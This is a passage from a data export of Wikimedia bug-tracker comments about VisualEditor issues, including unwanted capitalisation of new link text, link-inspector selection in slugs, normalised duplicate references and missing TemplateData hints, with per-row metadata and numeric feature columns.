Done, see bug 53566",,,1377811932,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.8,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE

Done, see bug 53566"
240131,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #8)
> Until that happens I think we should preserve the case of the input, as even
> if that isn't what people want it is easily possible to change and pretty
> intuitive how to do it - ie, type ""foo"" get ""[[foo]]"" but wanted ""[[Foo]]"",
> all you need to do is type ""Foo"" instead. The current behaviour means you get
> ""[[Foo]]"" regardless of what you want or do.

Possible, but a bit messy when writing certain articles like BLPs where most link targets will be proper nouns.

> The only other thing I can think of is for VE to read and respect things like
> {{lowercase title}}. Once it does that then it should also respect things
> like {{correct title}} for a default display text, and we should probably
> create a {{Proper noun title}} for titles that should always be capitalised by
> default.
>
> Or rather than using templates we could move the title information into page
> metadata. I have no idea whether any of this is practical, but if it is I
> guess it would be better as one or maybe two separate bugs.

Yes, certainly for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template; I think creating a bug for MediaWiki having page-level meta-data about the correct display of a page's title would be great, yes.",,,1377808735,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,1.0,1.0,6.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,8.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,3.0,12.0,1.0,1.5,6.0,0.0,0.0,0.0,0.5,4.5,2.0,1.5,0.0,2.0,8.5,7.5,0.0,0.0,0.0,2.0,0.0,1.0,4.0,0.0,2.5,0.0,0.5,0.0,3.629385964912281,0.6737155388471179,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Possible, but a bit messy when writing certain articles like BLPs where most link targets will be proper nouns.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, certainly for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template; I think creating a bug for MediaWiki having page-level meta-data about the correct display of a page's title would be great, yes."
240126,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","The best thing, as noted at 48789, is for there to be two input boxes - one for the link target and one for the displayed text. 
Until that happens I think we should preserve the case of the input, as even if that isn't what people want it is easily possible to change and pretty intuitive how to do it - ie, type ""foo"" get ""[[foo]]"" but wanted ""[[Foo]]"", all you need to do is type ""Foo"" instead. The current behaviour means you get ""[[Foo]]"" regardless of what you want or do.

When the second input box is added then we should use the case as input as the default. 

The only other thing I can think of is for VE to read and respect things like {{lowercase title}}. Once it does that then it should also respect things like {{correct title}} for a default display text, and we should probably create a {{Proper noun title}} for titles that should always be capitalised by default. Or rather than using templates we could move the title information into page metadata. I have no idea whether any of this is practical, but if it is I guess it would be better as one or maybe two separate bugs.",,,1377804697,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,3.0,0.0,5.333333333333333,11.0,0.0,1.6666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,1.6666666666666667,2.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,11.666666666666666,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,1.0,0.0,1.0,0.0,0.3333333333333333,0.0,4.333333333333333,4.0,5.666666666666667,2.0,3.3333333333333335,7.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,11.0,1.6666666666666667,0.0,3.3333333333333335,0.0,6.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.0,3.4210549763877744,0.7001692951973625,"The best thing, as noted at 48789, is for there to be two input boxes - one for the link target and one for the displayed text. 
Until that happens I think we should preserve the case of the input, as even if that isn't what people want it is easily possible to change and pretty intuitive how to do it - ie, type ""foo"" get ""[[foo]]"" but wanted ""[[Foo]]"", all you need to do is type ""Foo"" instead. The current behaviour means you get ""[[Foo]]"" regardless of what you want or do.

When the second input box is added then we should use the case as input as the default. 

The only other thing I can think of is for VE to read and respect things like {{lowercase title}}. Once it does that then it should also respect things like {{correct title}} for a default display text, and we should probably create a {{Proper noun title}} for titles that should always be capitalised by default. Or rather than using templates we could move the title information into page metadata. I have no idea whether any of this is practical, but if it is I guess it would be better as one or maybe two separate bugs."
240122,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Clarifying what this is in the title:

| New link annotations' anchors get their first character capitalised, even if you didn't want that

->

| When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors

The problem is in the link suggester (it's the same behaviour in category and template selection, except that those always capitalise the first character so no-one cares.

When you trigger the link inspector on no selection and type in ""foo"", you are given suggestions like:

* Foo
* Foobar
* Fooian

Selecting any of these picks not just the target, but also the text of that target as the anchor (good) and the capitalisation of that target (less good).

However, if I've typed ""foo"", did I definitely want [[foo]] rather than [[Foo]]? Should we show both [[Foo]] and [[foo]] options in the list if you type in ""foo"", but only [[Foo]] if you type in ""Foo""?",,,1377803059,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,0.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,2.0,3.6666666666666665,1.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,6.666666666666667,9.333333333333334,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.333333333333333,1.6666666666666667,6.333333333333333,4.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,4.0,9.333333333333334,3.3333333333333335,1.0,3.6666666666666665,0.0,4.0,0.0,1.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,9.333333333333334,3.4767405063291137,0.6426160337552743,"Clarifying what this is in the title:

| New link annotations' anchors get their first character capitalised, even if you didn't want that

->

| When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors

The problem is in the link suggester (it's the same behaviour in category and template selection, except that those always capitalise the first character so no-one cares.

When you trigger the link inspector on no selection and type in ""foo"", you are given suggestions like:

* Foo
* Foobar
* Fooian

Selecting any of these picks not just the target, but also the text of that target as the anchor (good) and the capitalisation of that target (less good).

However, if I've typed ""foo"", did I definitely want [[foo]] rather than [[Foo]]? Should we show both [[Foo]] and [[foo]] options in the list if you type in ""foo"", but only [[Foo]] if you type in ""Foo""?"
240117,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","From bug 53495:
Currently whenever a user enters a link when no text is selected the first
character of the displayed link is always capitalised. This is often incorrect,
e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].

Especially until bug 50678 is fixed, correcting this is not at easy or
intuitive.

So, at least until bug 48789 and bug 50945 are fixed and the display text is
settable in the dialog, and probably beyond that, it would be best if the
displayed link used the same case as the search term entered. i.e.

User entry ->  wikitext equivalent of desired output
Green   ->  [[Green]]
green   ->  [[green]]
iPad    ->  [[iPad]]
HAMmer  ->  [[Hammer]]
london  ->  [[london]]

Yes, this will result in some wrong captialisations, but no more than at
present and will only be temporary (as noted above)",,,1377802682,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,4.333333333333333,1.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.333333333333333,6.666666666666667,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,8.666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,3.0,4.0,1.0,3.0,6.333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,6.666666666666667,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,12.666666666666666,3.2602739726027394,0.6484018264840182,"From bug 53495:
Currently whenever a user enters a link when no text is selected the first
character of the displayed link is always capitalised. This is often incorrect,
e.g. in the middle of a sentence or for articles like [[iPhone]] or [[grep]].

Especially until bug 50678 is fixed, correcting this is not at easy or
intuitive.

So, at least until bug 48789 and bug 50945 are fixed and the display text is
settable in the dialog, and probably beyond that, it would be best if the
displayed link used the same case as the search term entered. i.e.

User entry ->  wikitext equivalent of desired output
Green   ->  [[Green]]
green   ->  [[green]]
iPad    ->  [[iPad]]
HAMmer  ->  [[Hammer]]
london  ->  [[london]]

Yes, this will result in some wrong captialisations, but no more than at
present and will only be temporary (as noted above)"
240111,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors",*** Bug 53495 has been marked as a duplicate of this bug. ***,,,1377802569,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53495 has been marked as a duplicate of this bug. ***
240106,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","(In reply to comment #3)
> Are you talking about:
> 1. Ctrl+K
> 2. Type a lcase work
> 3. Press enter twice

Yes. For step 3, it also happens when you click on a suggestion.",,,1377594263,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,6.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9696969696969697,0.7575757575757576,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Yes. For step 3, it also happens when you click on a suggestion."
240100,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Are you talking about:
1. Ctrl+K
2. Type a lcase work
3. Press enter twice

because that's the only way I can reproduce, and after the first press of enter it shows you that it has capitalised the word due to autocomplete?",,,1377558575,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,9.0,13.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.490566037735849,0.8113207547169812,"Are you talking about:
1. Ctrl+K
2. Type a lcase work
3. Press enter twice

because that's the only way I can reproduce, and after the first press of enter it shows you that it has capitalised the word due to autocomplete?"
240094,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Yes, I can still reproduce it. Note that I'm talking about the behavior when you enter Ctrl+K and type text, not the behavior when you add a link to existing text.",,,1377175898,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,14.0,8.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,14.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,3.6944444444444446,0.7777777777777778,"Yes, I can still reproduce it. Note that I'm talking about the behavior when you enter Ctrl+K and type text, not the behavior when you add a link to existing text."
240089,"VisualEditor: When inserting a new link (not annotating on existing text), the suggested link is capitalised even if your input text isn't, so leading to unexpected capitalisation of link anchors","Is this still happening, Guillaume? I can't reproduce it.",,,1377173293,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3tkt5wwlr2pp4a6ayi3s,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.769230769230769,1.0,"Is this still happening, Guillaume? I can't reproduce it."
52446,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,"If the cursor is in a slug and you press the link button, the selection jumps to the nearest content - which crosses out of the local <p> and into the <p> beforehand or afterwards (whoops).

Link inspector should detect that it is in a slug and not attempt to mangle the selection with nearestContentOffset, but just trigger with a 'blank' selection.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52256",High,80.0,1372572900,1377888669.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rxqaxhgvcsfou4tzboet,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,6.0,1.0,3.5,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,7.5,1.0,0.0,2.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,0.0,0.5,3.0,3.680052790346908,0.7077677224736048,"If the cursor is in a slug and you press the link button, the selection jumps to the nearest content - which crosses out of the local <p> and into the <p> beforehand or afterwards (whoops).

Link inspector should detect that it is in a slug and not attempt to mangle the selection with nearestContentOffset, but just trigger with a 'blank' selection.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
239785,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,This was fixed by gerrit 81437.,,,1377888669,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rxqaxhgvcsfou4tzboet,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This was fixed by gerrit 81437.
239779,VisualEditor: Link inspector in a slug can select content in the previous or following paragraphs,"As a follow-up, if you have <start of document> <block slug> <block slug> <block slug> <block slug> <p> in a document, and have the cursor in the second slug, pressing Ctrl+K will move the selection to the top of the document and put the contents there (whee); in the third or fourth, to the first word of the <p>. Not great.",,,1372573764,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rxqaxhgvcsfou4tzboet,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,19.0,3.0813953488372094,0.5116279069767442,"As a follow-up, if you have <start of document> <block slug> <block slug> <block slug> <block slug> <p> in a document, and have the cursor in the second slug, pressing Ctrl+K will move the selection to the top of the document and put the contents there (whee); in the third or fourth, to the first word of the <p>. Not great."
52444,VisualEditor: References with duplicated content are normalised away,"If you have a page like:

<ref name=""foo"">Foo</ref> ...... <ref name=""foo"">Foo</ref>

VE will normalize this to:

<ref name=""foo"">Foo</ref> ...... <ref name=""foo"" />

The contents of the second <ref> tag are obviously ignored, but we should round-trip their existence correctly.


http://tools.wmflabs.org/visualeditor/dirtydiffs/2013-06-30_00-52/Genetic_history_of_the_Iberian_Peninsula.png

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372567200,1372705872.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-2ttmyole76xyfw5lxpgw,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,8.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,4.0,10.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,10.0,4.025,0.625,"If you have a page like:

<ref name=""foo"">Foo</ref> ...... <ref name=""foo"">Foo</ref>

VE will normalize this to:

<ref name=""foo"">Foo</ref> ...... <ref name=""foo"" />

The contents of the second <ref> tag are obviously ignored, but we should round-trip their existence correctly.


URL

--------------------------
**Version**: unspecified
**Severity**: normal"
239704,VisualEditor: References with duplicated content are normalised away,This was fixed in gerrit 71275 by Roan.,,,1372705872,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2ttmyole76xyfw5lxpgw,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,This was fixed in gerrit 71275 by Roan.
52440,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"After having saved a template on a page, and edit it again, template data for the template is visible, but any parameter used is not showing templatedata, even though it displayed it correctly when I created the template

test I made on beta was {{test|name = hello}}

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372554600,1384200108.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_description,resolved,True,c1,2,False,False,False,-1,,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,7.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.972972972972973,0.6621621621621622,"After having saved a template on a page, and edit it again, template data for the template is visible, but any parameter used is not showing templatedata, even though it displayed it correctly when I created the template

test I made on beta was {{test|name = hello}}

--------------------------
**Version**: unspecified
**Severity**: normal"
239459,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"Think we have subsequently fixed this, probably as part of the re-write of the transclusion dialog/TemplateData link in July; marking as such. Please re-open if it recurs.",,,1384200108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.918918918918919,0.8378378378378378,"Think we have subsequently fixed this, probably as part of the re-write of the transclusion dialog/TemplateData link in July; marking as such. Please re-open if it recurs."
239453,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,Can't reproduce this bug.,,,1384198743,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ey46lj4dpzgt5ypwdhi4,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Can't reproduce this bug.
239448,VisualEditor: TemplateData hints doesn't show up on parameters in transclusion dialog,"When I make a new template entry and open the template before I've saved the page, it looks like following:
http://i.imgur.com/HxaU7F1.png

But after having saved the page, and enter template edit again, I'm getting following:
